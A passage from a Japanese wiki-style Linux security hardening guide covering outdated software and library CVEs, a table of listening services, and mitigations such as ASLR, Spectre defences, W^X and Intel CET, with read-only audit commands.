** [[:w:Lhaplus|Lhaplus]]（〜2017年）

またハードウェアに由来する古いソフトウェアには例えば以下があります:
* [[w:ウォークマン|ウォークマン]]関連（代替候補: [[:w:Music Center for PC|Music Center for PC]]）
** [[:w:CONNECT Player|CONNECT Player]]（〜2007年、Sony）
** [[:w:SonicStage|SonicStage]]（〜2009年、Sony）
** [[:w:x-アプリ|x-アプリ]]（〜2016年、Sony）
* DTCP-IP関連
** SmartVision/PLAYER powered by DiXiM（〜2019年、NEC）&lt;ref&gt;[https://support.nec-lavie.jp/navigate/support/info/2019/announce/svp/ SmartVision/PLAYER保守サービス終了のお知らせ] NECパーソナルコンピュータ 2019年1月28日&lt;/ref&gt;&lt;ref&gt;[https://apps.microsoft.com/detail/9wzdncrdkb4c?hl=ja-JP&amp;gl=JP SmartVision/PLAYER powered by DiXiM] Microsoft&lt;/ref&gt;
** DiXiM Digital TV plus for I-O DATA（〜2022年、I-O DATA）&lt;ref&gt;[https://www.iodata.jp/lib/product/d/3533.htm DiXiM Digital TV plus for I-O DATA] I-O DATA&lt;/ref&gt;

なお仮想マシンを使って隔離しながら古いソフトウェアを動かすこともできますが、仮想マシンでも「VMエスケープ」の脆弱性を使用することでホスト環境への侵害が可能なため、仮想マシンの上で弱い環境や弱いソフトウェアを使うこともなるべく避けましょう。&lt;!--TODO: Windows Sandbox--&gt;

==== 古いバージョンのライブラリを避ける ====
多くのソフトウェアに使用されているライブラリとその過去の危険な脆弱性には例えば以下があります:&lt;!--危険を認識させる。例はライブラリ内のメイン処理に存在し、任意コード実行であり、脆弱性の存在期間が長く、新しいものが好ましい。--&gt;
* 画像ライブラリ
** libpng - [https://access.redhat.com/security/cve/cve-2010-1205 CVE-2010-1205]（PNG画像で任意コード実行の可能性）
** libjpeg-turbo - [https://access.redhat.com/security/cve/cve-2012-2806 CVE-2012-2806]（JPEG画像で任意コード実行の可能性）
** OpenJPEG - [https://access.redhat.com/security/cve/cve-2025-54874 CVE-2025-54874]（JPEG2000画像で任意コード実行の可能性）
** libtiff - [https://access.redhat.com/security/cve/cve-2026-12912 CVE-2026-12912]（PixarLog圧縮TIFF画像で任意コード実行の可能性）
** libwebp - [https://access.redhat.com/security/cve/cve-2023-4863 CVE-2023-4863]（WebP画像で任意コード実行の可能性）
* 動画ライブラリ
** FFmpeg - [https://access.redhat.com/security/cve/cve-2024-22860 CVE-2024-22860]（JPEG XLアニメーションで任意コード実行の可能性）
* 圧縮ライブラリ
** libarchive - [https://access.redhat.com/security/cve/cve-2026-15028 CVE-2026-15028]（tarアーカイブ形式で任意コード実行の可能性）
** zlib - [https://access.redhat.com/security/cve/cve-2002-0059 CVE-2002-0059]（Deflate圧縮形式で任意コード実行の可能性）
** bzip2 - [https://access.redhat.com/security/cve/cve-2010-0405 CVE-2010-0405]（BZ2圧縮形式で任意コード実行の可能性）

これらのライブラリはABI（アプリケーションバイナリインターフェイス）が変更されて新しいバージョンの共有ライブラリにドロップイン置換できないものも多くなっています。

また国内で使われている古いソフトウェアでは開発中止になった以下のライブラリも問題となっています:
* UNLHA32.DLL&lt;ref&gt;[https://forest.watch.impress.co.jp/docs/news/372729.html 圧縮・解凍用DLL「UNLHA32.DLL」が開発中止、作者はLZHの利用中止を呼びかけ] Impress 2010年6月7日&lt;/ref&gt;

Webフレームワークでは開発中止となった以下のフレームワークが問題となっています:
* [[:w:Model View Controller|Model View Controller]]フレームワーク（代替候補: [[:w:Apache Struts|Apache Struts]] 2、[[:w:Spring Framework#Model-View-Controller フレームワーク|Spring MVC]]）
** [[:w:en:Apache Struts 1|Apache Struts 1]]（〜2008年） - Java言語
* [[:w:アスペクト指向プログラミング|アスペクト指向フレームワーク]]（代替候補: [[:w:Spring Framework|Spring Framework]]、[[:w:en:Micronaut (framework)|Micronaut]]）
** [[:w:Seasar|Seasar]]（〜2016年） - Java言語
* [[:w:シングルページアプリケーション|シングルページアプリケーション]]フレームワーク（代替候補: [[:w:Angular|Angular]]、[[:w:Vue.js|Vue.js]]）
** [[:w:AngularJS|AngularJS]]（〜2022年） - JavaScript

=== 古いハードウェアに対処する ===
サポート切れの OS を搭載したハードウェアはどうすれば良いでしょうか。これには使い続けるいくつかの方法がありますが、基本的にオススメしません。古い OS を搭載していたハードウェアはハードウェア仕様も古いからです。

==== スタンドアロン運用 ====
古いハードウェアはインターネットに繋がずに使用すること（スタンドアロン運用）も可能です。

しかしながらUSBメモリでデータをやり取りする場合はUSBメモリ経由での感染などのリスクは残ります。

==== 新しめのLinuxを導入 ====
新しめのLinuxを導入するという方法もあります。

これに適したものでは例えばWindows 11非対応のPC (Intel 第7世代以前、AMD Ryzen 1000シリーズ以前) が挙げられます。

またスマートフォンやタブレットであればカスタムROMが、ルーターであればDD-WRTやOpenWRTが存在します。

==== 手放す ====
手に負えなければデータだけバックアップして手放しましょう。情報が漏れないよう初期化も忘れずに。

== 不要なサービスを止める / 削除する ==
{| class=&quot;wikitable&quot;
|+ サービス表示系コマンド
|-
! 稼働中のシステムサービスを見る
| &lt;code&gt;systemctl --type=service --state=running&lt;/code&gt;
|-
! 稼働中のユーザーサービスを見る
| &lt;code&gt;systemctl --user --type=service --state=running&lt;/code&gt;
|}

=== TCP/UDP経由のサービス ===
TCP/UDPでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -tulnp&lt;/code&gt; を、通信しているプロセスを見るには &lt;code&gt;sudo lsof -i -P -n&lt;/code&gt; を実行しましょう。

{| class=&quot;wikitable&quot;
|+ 主なポート待ち受けのあるプロセス
|-
! ポート !! 機能 !! プロセス名 !! サービス名または起動コマンド !! パッケージ名 (Ubuntu) || 直接問い合せコマンド
|-
| rowspan=2 | 53/UDP&lt;br&gt;53/TCP || rowspan=2 | DNS（名前解決） || systemd-resolved || systemd-resolved.service || systemd-resolved || &lt;code&gt;dig @127.0.0.53 example.com&lt;/code&gt;
|-
| dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;dig @10.208.199.1 example.com&lt;/code&gt;
|-
| rowspan=2 | 5353/UDP || rowspan=2 | [[:w:マルチキャストDNS|マルチキャストDNS]] || systemd-resolved || systemd-resolved.service ||  systemd-resolved || &lt;code&gt;resolvectl -p mdns query $HOSTNAME.local&lt;/code&gt;
|-
| Avahi || avahi-daemon.service || avahi-daemon || &lt;code&gt;avahi-resolve-host-name $HOSTNAME.local&lt;/code&gt;
|-
| 67/UDP&lt;br&gt;547/UDP || [[:w:DHCP|DHCP]]&lt;br&gt;[[:w:DHCPv6|DHCPv6]] || dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;IP=$(ip -4 -o addr show pan1 &amp;vert; grep -oP '(?&lt;=inet )[\d.]+'); sudo dhcping -v -i -s &quot;$IP&quot; -c &quot;$IP&quot;&lt;/code&gt;{{efn|Ubuntuではdhcpingパッケージの導入が必要です。}}
|-
| rowspan=2 | 68/UDP&lt;br&gt;546/UDP || rowspan=2 | DHCPクライアント&lt;br&gt;DHCPv6クライアント{{efn|単独のDHCPクライアントである dhclient、dhcpcd なども存在する。また開発終了になったisc-dhcp-clientも存在した。}} || systemd-networkd&lt;wbr&gt;{{efn|name=&quot;network-all&quot;}} || || systemd || 
|-
| NetworkManager&lt;wbr&gt;{{efn|name=&quot;network-all&quot;|ネットワーク管理全般を担当しています。}} || NetworkManager.service || network-manager || 
|-
| rowspan=2 | 123/UDP&lt;br&gt;4460/TCP || rowspan=2 | NTP（時刻同期）&lt;br&gt;NTS-KE （NTPの鍵交換）{{efn|これらの代替として systemd-timesyncd もありますが、こちらは NTP の代わりに単純な SNTP のみ実装の上、サーバーを持たずクライアント側のみ対応です。}} || ntpd || ntpsec.service || ntpsec || rowspan=2 | &lt;code&gt;ntpdig localhost&lt;/code&gt;{{efn|ローカルへのNTP問い合せは&lt;code&gt;ntpdate -q localhost&lt;/code&gt;でもできますが、こちらはNTP-KE非対応です。}}
|-
| chronyd || chrony.service || chrony
|-
| 80/TCP&lt;br&gt;443/HTTP&lt;br&gt;443/UDP || HTTP&lt;br&gt;HTTPS&lt;br&gt;HTTP/3 (QUIC) || apache2 || apache2.service&lt;br&gt;apache2@.service&lt;br&gt;httpd.service&lt;br&gt;httpd@.service || apache2 || HTTP: &lt;code&gt;curl http://localhost&lt;/code&gt;&lt;br&gt;HTTPS: &lt;code&gt;curl --http2 https://localhost&lt;/code&gt;&lt;br&gt;HTTP/3: &lt;code&gt;curl --http3-only https://localhost&lt;/code&gt;
|-
| rowspan=2 | ユーザーポート/UDP || rowspan=2 | HTTP/3 (QUIC) クライアント&lt;br&gt;WebRTCクライアント || chrome{{efn|Google Chrome}} || &lt;code&gt;google-chrome&lt;/code&gt; || google-chrome (公式APTリポジトリ) || 
|-
| firefox{{efn|Mozzila Firefox}} || &lt;code&gt;firefox&lt;/code&gt; || firefox (snap) || 
|-
| rowspan=2 |21/TCP&lt;br&gt;20/TCP{{efn|アクティブモードのみデータ転送で使われます。}} || rowspan=2 | FTP || proftpd || proftpd.service&lt;br&gt;proftpd@.service || proftpd-core || rowspan=2 | &lt;code&gt;curl ftp://localhost&lt;/code&gt;
|-
| vsftpd || vsftpd.service || vsftpd
|-
| 22/TCP || SSH / SFTP || sshd || ssh.service&lt;br&gt;sshd@.service || openssh-server || &lt;code&gt;ssh-keyscan 127.0.0.1&lt;/code&gt;
|-
| rowspan=2 | 6881/TCP || rowspan=2 | BitTorrent || qbittorrent || &lt;code&gt;qbittorrent&lt;/code&gt; || qbittorrent ||
|-
| ktorrent || &lt;code&gt;ktorrent&lt;/code&gt; || ktorrent ||
|-
| rowspan=2 | 51413/TCP || rowspan=2 | Transmission&lt;wbr&gt;{{efn|BitTorrentプロトコル。TransmissionをベースとするFragmentsも同ポートを使用します。}} || transmission-daemon || transmission-daemon.service || transmission-daemon ||
|-
| transmission-gtk || &lt;code&gt;transmission-gtk&lt;/code&gt; || transmission-gtk ||
|-
| 5001/TCP&lt;br&gt;5001/UDP || rowspan=2|  ネットワークパフォーマンス計測 || iperf || &lt;code&gt;iperf -s&lt;/code&gt; || iperf || &lt;code&gt;iperf -c localhost&lt;/code&gt;
|-
| 5021/TCP&lt;br&gt;5021/UDP || iperf3 || &lt;code&gt;iperf3 -s&lt;/code&gt; || iperf3 || &lt;code&gt;iperf3 -c localhost&lt;/code&gt;
|-
| 1716/UDP&lt;br&gt;1716/TCP&lt;br&gt;ユーザーポート/UDP || スマートフォン連携 (KDE) || kdeconnectd || &lt;code&gt;kdeconnect-app&lt;/code&gt; || kdeconnect ||
|-
| ユーザーポート/TCP || Claude Proxy Service || code{{efn|[[:w:Visual Studio Code|Visual Studio Code]]のプロセス。}} || &lt;code&gt;code&lt;/code&gt; || code (公式APTリポジトリ) || 
&lt;!--
|-
|  || AI コーディング支援 (Google Antigravity CLI{{efn|Command Line Interface}}) || agy || || (Visal Studio Code拡張) || 
--&gt;
|-
| rowspan=2 | 3389/TCP&lt;br&gt;3389/UDP || rowspan=2 | Remote Desktop Protocol || gnome-remote-desktop-daemon{{efn|GNOME Remote Desktop}} || gnome-remote-desktop.service&lt;!-- (system)--&gt;&lt;br&gt;gnome-remote-desktop.service (user)&lt;br&gt;gnome-remote-desktop-headless.service (user) || gnome-remote-desktop || 
|-
| krdpserver || app-org.kde.krdpserver.service (user) || krdp || 
|-
| 47984/TCP&lt;br&gt;47989/TCP&lt;br&gt;48010/TCP&lt;br&gt;47998–48010/UDP || NVIDIA GameStream || sunshine ||  app-dev.&lt;wbr&gt;lizardbyte.&lt;wbr&gt;app.&lt;wbr&gt;Sunshine.service (user) || sunshine (公式debファイル) ||  (moonlight-qt)
|-
| 27031-27036/UDP&lt;br&gt;27036/TCP || Steam Remote Play&lt;ref&gt;[https://help.steampowered.com/ja/faqs/view/2EA8-4D75-DA21-31EB Steam接続に必要なポート] Valve&lt;/ref&gt; || steam || &lt;code&gt;steam&lt;/code&gt; || steam (公式APTリポジトリ) || 
|-
| 1900/UDP || UPnP{{efn|パケットフィルタと共に使用して要求に従ってポートマッピングする。}} || miniupnpd || miniupnpd.service || miniupnpd-nftables&lt;br&gt;miniupnpd-iptables ||
|}

なおUPnPのポートは外側に解放しないようにしましょう。また内側にだけ解放した場合も内側に侵害された機器が存在する場合に危険となるのでVLANでネットワークを分けるなどを心がけましょう。

また外側に開いてるポートはランダム割り当てされないように sysctl の &lt;code&gt;net.ipv4.ip_local_reserved_ports&lt;/code&gt; で予約しておきましょう。この設定を永続化するには /etc/sysctl.d/99-local-ports.conf あたりに&lt;code&gt;net.ipv4.ip_local_reserved_ports=a,b,c&lt;/code&gt;{{efn|ダブルクォーテーションで囲むと「無効な引数です」のエラーになるので注意してください。}}と記述すれば OK です。設定を直ぐに反映するには&lt;code&gt;sudo sysctl --system&lt;/code&gt;を実行しましょう。

&lt;!--TODO: CUPS、Postfix、Samba、Wsdd--&gt;

=== Unix Domain経由のサービス ===
Unix Domainでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -xlp&lt;/code&gt; を実行しましょう。


=== dbus経由のサービス ===
システムバスは &lt;code&gt;busctl --system list&lt;/code&gt;、セッションバスは &lt;code&gt;busctl --user list&lt;/code&gt; で確認することができます。

それらを提供する実行中のプロセスの一覧は以下で取得できます:
* システムバスを提供するプロセス: &lt;code&gt;busctl --system --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;
* ユーザーバスを提供するプロセス: &lt;code&gt;busctl --user --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;

dbusサービスの一部はプロセス未実行のアクティベータブル (activatable) な状態で提供されています。アクティベータブルな状態で提供するサービスの実行コマンドは以下で取得できます:
*  activatableなシステムバスの実行コマンド: &lt;code&gt;busctl --system --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;
*  activatableなユーザーバスの実行コマンド: &lt;code&gt;busctl --user --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;

== 潜在的な脆弱性を減らす ==
現代のプログラムでは以下のような保護が行われています。

=== メモリアドレスの推測困難化 === 
攻撃に必要なコード片（ガジェット）のメモリアドレスを推測しにくくするために、カーネル空間、ユーザー空間の両方で[[:w:アドレス空間配置のランダム化|アドレス空間配置のランダム化]]（ASLR）が行われています。カーネル空間の ASLR は KASLR (Kernel ASLR) とも呼ばれています。

ユーザー空間のプログラムで ASLR を有効にするためには[[:w:位置独立コード|位置独立コード]] (PIC) / 位置独立実行形式 (PIE) である必要があります。Unix で使われる実行形式の ELF では位置独立実行形式が ET_DYN、非位置独立実行形式 (non-PIE) が ET_EXEC となります。

Linuxでは ASLR が無効となる非位置独立実行形式のファイルを以下で検索することができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 非位置独立実行形式 (non-PIE) のバイナリを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}'
/usr/lib/default.sfx
/usr/lib/klibc/bin/mkfifo
/usr/lib/klibc/bin/zcat
/usr/lib/klibc/bin/poweroff
[...]
$ # 非位置独立実行形式 (non-PIE) のバイナリを含むDebianパッケージを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
aidl
busybox-static
code
cpp-15-x86-64-linux-gnu
cuda-gdb-13-4
cuda-nvcc-13-4
cuda-sanitizer-13-4
cuda-tileiras-13-4
debugedit
g++-15-x86-64-linux-gnu
gcc-15-x86-64-linux-gnu
gcc-mingw-w64-i686-posix
gdc-15-x86-64-linux-gnu
gds-tools-13-4
gfortran-15-x86-64-linux-gnu
gh
git-lfs
gobjc-15-x86-64-linux-gnu
gocryptfs
golang-1.26-go
go-md2man
go-mtpfs
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルがユーザー空間 ASLR を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sysctl kernel.randomize_va_space # 0=無し、1=部分的、2=完全
kernel.randomize_va_space = 2
&lt;/syntaxhighlight&gt;

また現在のLinuxカーネルがカーネル ASLR (KASLR) を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_RANDOMIZE_BASE' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_RANDOMIZE_BASE=y
&lt;/syntaxhighlight&gt;

なお ASLR は間接的な関数呼び出し（ C++ の vtable を含む）があると、そのアドレスから ASLR のオフセットがバレてしまい突破されてしまいます。

また CPU の[[:w:投機的実行|投機的実行]]での情報漏れ (Spectre) による[[:w:キャッシュ攻撃|キャッシュサイドチャネル攻撃]]（後述）の一つである「投機的探査」 (BlindSide) によってもコードの位置情報の取得がされ ASLR が突破されてしまいます。

=== 投機的実行の情報漏れ防止 ===
前述のとおり、投機的実行による情報漏れ (Spectre) は攻撃に繋がります。Spectre には境界チェックを迂回する Spectre V1 と間接分岐の分岐先アドレスのキャッシュ{{efn|分岐先バッファ (Branch Target Buffer、BTB)や分岐先アドレスキャッシュ (Branch Target Address Cache、BTAC) と呼ばれる。}}を汚染する Spectre V2 が存在します。&lt;!--TODO: Spectre v3/v4、Zenbleed--&gt;

Spectre V1 を防ぐ方法としては投機的実行を阻害するための命令（x86ではLFENCE）の挿入{{efn|Linuxカーネルでの投機的実行の防止は&lt;code&gt;barrier_nospec()&lt;/code&gt;。}}やアクセスできるアドレス範囲を狭めることが行われています{{efn|GCCでの投機的実行での範囲外アクセス防止は&lt;code&gt;__builtin_speculation_safe_value(...)&lt;/code&gt;、Linuxカーネルでの投機的実行での範囲外アクセス防止は&lt;code&gt;array_index_nospec(...)&lt;/code&gt;&lt;ref&gt;[https://lwn.net/Articles/759423/ Spectre V1 defense in GCC] LWN 2018年7月10日&lt;/ref&gt;。}}。

また Spectre V2 では攻撃を防ぎながらも速度を落とさない方法として脆弱な分岐先アドレスキャッシュに依存する間接分岐の代わりにリターンアドレスのキャッシュ{{efn|リターンスタックバッファ (RSB) と呼ばれる。}}に依存するリターン命令を使う retpoline が登場しました。しかしながらこの retpoline でも速度の低下は起こるため、既知の間接呼び出しを条件分岐 + 直接呼び出しに変換して高速化する手法が模索されました。LLVM では retpoline を有効にする &lt;code&gt;-mretpoline&lt;/code&gt;フラグの処理内に既知の仮想関数呼び出しを[[:w:二分木|二分木]]の直接分岐に置き換える「分岐ファネル」(Branch funnel) が導入されています&lt;ref&gt;[https://reviews.llvm.org/D42453 Use branch funnels for virtual calls when retpoline mitigation is enabled.] LLVM project&lt;/ref&gt;。また Linux カーネルでも既知の間接呼び出しを条件分岐 + 直接呼び出しに変換する INDIRECT_CALL_* マクロが搭載されています&lt;ref&gt;[https://lwn.net/Articles/774743/ Relief for retpoline pain] LWN 2018年12月14日&lt;/ref&gt;。&lt;!--TODO: Intel CETのSHSTKとretpolineの衝突--&gt;

一方、リターン命令の投機的実行も「Retbleed」や AMD CPU における「投機的リターンスタックオーバーフロー」 (SRSO){{efn|Speculative Return Stack Overflow。}}のような脆弱性が見つかっています。

なお低権限コードから高権限コードへの権限境界をまたいだ Spectre および Retbleed は Intel の「間接分岐制限付き投機」(IBRS){{efn|Indirect Branch Restricted Speculation。}}およびそれを高速化した「拡張IBRS」(eIBRS) などハードウェア側によって塞がれました&lt;ref&gt;[https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/hardware-behavior-related-to-speculative-execution.html Hardware Features and Behavior Related to Speculative Execution] Intel 2026年10月14日&lt;/ref&gt;が、権限境界をまたがないものは今も可能となっています。

=== メモリにおける書き込みと実行の排他化 (W^X) ===
メモリでは書き込み可能領域の実行不可化 ([[:w:NXビット|NXビット]]) と実行可能領域の書き込み不可化による書き込みと実行の排他化（[[:w:en:W^X|W^X]]）が一般的となっています。NXビットは x86 では NXビットは AMD64 と共に搭載された古い機能であるため、今時の CPU と OS は基本的にこれに対応しています。

現在の CPU がNXビットを有効にしているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -o nx
nx
nx
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルが厳格な W^X を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '_RWX' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
&lt;/syntaxhighlight&gt;

しかしながら書き込みと実行の排他の原則を破ってそれらを同時に行える場所というものも存在しています。読み込み・書き込み・実行が可能なことから「RWXセクション」と呼ばれています。Windows ではメモリページの PAGE_EXECUTE_READWRITE フラグがこれに相当します&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants メモリ保護定数] メモリ保護定数 (WinNT.h) - Win32 apps | Microsoft Learn&lt;/ref&gt;。

Windows のカーネルドライバでは NX フラグの使用が義務付けられています&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-hardware/test/hlk/testref/driver-compatibility-with-device-guard メモリ整合性と VBS とのドライバ互換性] Microsoft&lt;/ref&gt;が、その Windows カーネルにおいても PatchGuard の領域がコード難読化のためにこの原則を破っています。&lt;!--TODO: ホットパッチ--&gt;

また Linux でも実行可能領域を書き込み可能ページとして割り当てて書き込む text_poke 関数が用意されています。

=== 制御フローの操作を防ぐ (CET)  ===
現代では「[[:w:Return-oriented programming|リターン指向プログラミング]]」(ROP)、「呼び出し指向プログラミング」 (COP)、「ジャンプ指向プログラミング」(JOP) 、「[[:en:Sigreturn-oriented programming|Sigreturn指向プログラミング]]」(SROP) などの制御フロー操作による攻撃が一般化していますが、これを防ぐ技術として「[[:w:en:Control-flow integrity#Intel Control-flow Enforcement Technology|制御フロー強制テクノロジー]]」(CET) の「[[:w:en:Indirect branch tracking|間接分岐追跡]]」(IBT) と「[[:w:en:Shadow stack|シャドウスタック]]」(SHSTK) が存在します。

制御フロー強制は比較的新しい技術であるため、対応する CPU は以下に限られます:
* Intel Core (Tiger Lake) 第11世代以降
* AMD Zen 3 以降（シャドウスタックのみ）

現在の CPU が間接分岐追跡 (IBT)  およびシャドウスタックに対応しているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -oE '(ibt|shstk)'
shstk
ibt
shstk
ibt
[...]
&lt;/syntaxhighlight&gt;

またユーザーランドのシャドウスタックの使用にはユーザーランドだけでなくカーネルの対応も必要となります。Linux カーネル では 6.6 以降対応でこれに対応しています（sigreturnにも対応&lt;ref&gt;[https://github.com/torvalds/linux/commit/05e36022c0543ba55a3de55af455b00cb3eb4fcc x86/shstk: Handle signals for shadow stack · torvalds/linux@05e3602] GitHub 2023年8月3日&lt;/ref&gt;）。 Linuxディストリビューションでは Ubuntu 24.04以降、 Red Hat Enterprise Linux 9.7 以降&lt;ref&gt;[https://docs.redhat.com/ja/documentation/red_hat_enterprise_linux/9/html/9.7_release_notes/new-features-kernel 4.8. カーネル - 9.7 リリースノート - Red Hat Enterprise Linux - 9 - Red Hat Documentation] Red Hat&lt;/ref&gt;が標準でシャドウスタックを有効としています。

現在のLinuxカーネルがユーザーランドの間接分岐追跡およびシャドウスタックを有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -E '_(IBT|SHADOW_STACK)' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_CC_HAS_IBT=y
# CONFIG_X86_KERNEL_IBT is not set
CONFIG_X86_USER_SHADOW_STACK=y
CONFIG_X86_DISABLED_FEATURE_IBT=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
&lt;/syntaxhighlight&gt;

現在のユーザーランドプログラムの中で間接分岐追跡またはシャドウスタックが無効化されているものはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)'
/usr/lib/lv2/carla.lv2/carla.so
/usr/lib/7zip/7z
/usr/lib/7zip/7zCon.sfx
/usr/lib/7zip/7zr
/usr/lib/7zip/7z.so
/usr/lib/7zip/7za
/usr/lib/klibc/bin/ipconfig
/usr/lib/klibc/bin/umount
/usr/lib/klibc/bin/halt
[...]
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを含むDebianパッケージを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
7zip
aidl
ardour
avr-libc
cargo-1.93
carla
carla-bridge-wine32:i386
carla-bridge-wine64
carla-lv2
carla-vst
cuda-ctadvisor-13-4
cuda-cudart-13-4
[...]
&lt;/syntaxhighlight&gt;

一方、Linuxカーネルのカーネル側のシャドウスタック対応は2026年現在まだ開発中となっています (x86 Kernel Shadow Stacksパッチシリーズ)&lt;ref&gt;[https://www.phoronix.com/news/Linux-Kernel-Shadow-Stacks x86 Kernel Shadow Stacks Being Worked On For Linux As Powerful Control Flow Protection] Phoronix 2026年10月22日&lt;/ref&gt;。

なお、制御フロー強制テクノロジーの間接分岐追跡とシャドウスタックが有効であっても異なる関数の通常呼び出しは防げません。分かりやすい例では関数の間接呼び出しにおいて関数ポインタを&lt;code&gt;sigaction&lt;/code&gt;へと変更して独自のシグナルハンドラを登録し、その後クラッシュさせてそのシグナルハンドラを呼び出すという「セグメンテーション違反指向プログラミング」(SFOP) が挙げられます。また攻撃に使える関数 (dop gadgets) {{efn|dop gadgetsの検索の公式実装は「DOP-StaticAssist」[https://github.com/melynx/DOP-StaticAssist]だが長らく更新されておらず古いLLVM 3.5に依存している状態となっている。}}の通常呼び出しだけで攻撃する「Data-Oriented Programming」(DOP) &lt;ref&gt;Hong Hu et al. [https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=7546545 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks] IEEE 2016年&lt;/ref&gt;{{efn|セキュリティ以外の文脈におけるデータ指向プログラミング、データ指向設計、データ駆動型設計とは異なる。}}という手法も存在します。

C++向けでは仮想関数テーブル (vtable) を改ざんして攻撃に使える仮想関数（仮想関数ガジェット、vfgadget）を呼び出す「偽造オブジェクト指向プログラミング」(COOP) という攻撃手法も登場しています。

=== メモリ安全性の高いソフトウェアへ ===
既存のソフトウェアの脆弱性は7割がメモリ安全性の問題に起因すると言われています&lt;ref&gt;[https://www.cisa.gov/sites/default/files/2023-12/CSAC_TAC_Recommendations-Memory-Safety_Final_20231205_508.pdf REPORT TO THE CISA DIRECTOR Technical Advisory Council Memory Safety] サイバーセキュリティ諮問委員会 (CSAC) 2023年12月5日&lt;/ref&gt;。しかしながら[[C言語]]や[[C++]]はメモリ安全性が低いため、メモリ安全性の確保できる[[Rust]]などで書かれた代替プログラムが登場しています:
{| class=&quot;wikitable&quot;
|+ コマンドのRust版
|-
! コマンドの概要 !! 従来版 !! Rust版
|-
| Unix系の基本コマンド群 || GNU Core Utilities || '''uutils coreutils'''
|-
| ファイル検索コマンド群{{efn|&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;locate&lt;/code&gt;、&lt;code&gt;updatedb&lt;/code&gt;、&lt;code&gt;xargs&lt;/code&gt;の4コマンド}} || GNU Findutils || '''uutils findutils'''
|-
| ファイル差分コマンド群{{efn|&lt;code&gt;diff&lt;/code&gt;、&lt;code&gt;cmp&lt;/code&gt;、&lt;code&gt;diff3&lt;/code&gt;、&lt;code&gt;sdiff&lt;/code&gt;の4コマンド}} || GNU Diffutils || '''uutils diffutils'''
|-
| ストリームエディタ (sed) || GNU sed / FreeBSD sed || '''uutils sed'''
|-
| AWKスクリプト || GNU AWK || '''uutils AWK'''
|-
| 文字列検索 || GNU Grep || '''uutils Grep'''
|-
| tarアーカイブ || GNU Tar || '''uutils tar'''
|-
| アカウント管理コマンド群 || shadow-utils || '''uutils shadow-utils'''
|-
